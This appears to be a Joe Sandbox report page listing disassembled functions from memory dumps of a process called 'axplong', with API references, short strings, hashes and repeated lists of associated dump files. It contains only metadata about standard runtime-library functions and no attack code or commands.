Instruction ID: 05a858414fb176b0a2b98f3dc14017a1004a6ce7531f5aed2c555b4034cb446b
Opcode Fuzzy Hash: dc7bd6cb489c765ba3ee0cb133caa64425354de87e37a045fd24f36db3b6d0c8
Instruction Fuzzy Hash: 86F04FB29007009BCA24EFB0E444B97B7EAAF86710F14591DE69687602D774E948CB61

Function 00692AF0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00692B23

Strings

P#i, xrefs: 00692B18
This function cannot be called on a default constructed task, xrefs: 00692B03
P#i, xrefs: 00692B2E

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i$This function cannot be called on a default constructed task
API String ID: 2659868963-2992938221
Opcode ID: 55d379fb910f0d81068c86fa1f9662fa0e269aacafcc95a6dfd6c714f4aa15b9
Instruction ID: 1bc1bc54b920614f322f473f814c96280c54bfb4a92eefd1c7bf6311ca1e6161
Opcode Fuzzy Hash: 55d379fb910f0d81068c86fa1f9662fa0e269aacafcc95a6dfd6c714f4aa15b9
Instruction Fuzzy Hash: 3EF0A771D1134C9FC710DF6998419AEFBFADF15300F5042AEE84467300EBB05A54CB99

Function 006AD312 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0069247E

Strings

P#i, xrefs: 0069246D
P#i, xrefs: 00692486

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#i$P#i
API String ID: 2659868963-1653140521
Opcode ID: eb844f95fd68dabff8ae69d6f6213ca782161ae41faece9049d8c858b92c88c2
Instruction ID: 7f759013fc4f9fffe70a4755b52c29bea0c3fd428c7a0c06a3b5b34641a4913f
Opcode Fuzzy Hash: eb844f95fd68dabff8ae69d6f6213ca782161ae41faece9049d8c858b92c88c2
Instruction Fuzzy Hash: DD71CFB290060A9FDB14EF94D8817AEB7F6FB08310F24856AD506EBB90E7709D50CF94

Function 006A8E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

P#i, xrefs: 0069246D
P#i, xrefs: 00692486

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: P#i$P#i
API String ID: 0-1653140521
Opcode ID: 44c4cf634651e294776a90c05d3730263f9fa5d5cd66f0b5faf9c68b10f00a0e
Instruction ID: 0516a042c350809818ba068a6f58412d4407b510f40476f8d1ab86bd7123e65b
Opcode Fuzzy Hash: 44c4cf634651e294776a90c05d3730263f9fa5d5cd66f0b5faf9c68b10f00a0e
Instruction Fuzzy Hash: 6C51F8729001199FCF14EFA8D841AAEB7AAEF46340B14456DF805DB341EB30EE118BA5

Function 006CF21F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006CF263

Strings

8"o, xrefs: 006CF30B
`'o, xrefs: 006CF235

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"o$`'o
API String ID: 3903695350-933842191
Opcode ID: c203986684c12f073fcf6eaadbe0e08017ddd28243deb82015c01100d796a867
Instruction ID: 9248d418faefcafba4a94d15fec1455e5dbff61aa11b2a86e6c0a3192fae04bd
Opcode Fuzzy Hash: c203986684c12f073fcf6eaadbe0e08017ddd28243deb82015c01100d796a867
Instruction Fuzzy Hash: EC315C31600209AFEB61ABB8E945FBA77EBEF00314F10452DE44AD7291DF76ED808B55

Function 00693930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00693962
__Mtx_init_in_situ.LIBCPMT ref: 006939A1

Strings

pBi, xrefs: 00693940

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pBi
API String ID: 3366076730-1569801529
Opcode ID: 78a01782a0354db6510c21207cea8493d6435abac52b687f9e0628f5e47fd6fe
Instruction ID: 3993106945adeed3e28dc381456e91acc96a86093344875311efa49e6457647c
Opcode Fuzzy Hash: 78a01782a0354db6510c21207cea8493d6435abac52b687f9e0628f5e47fd6fe
Instruction Fuzzy Hash: 504114B0501B059FDB20CF19C588B9ABBF6FF44315F14861DE86A8B741E7B5AA15CF80

Function 00692440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0069247E

Strings

P#i, xrefs: 0069246D
P#i, xrefs: 00692486

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
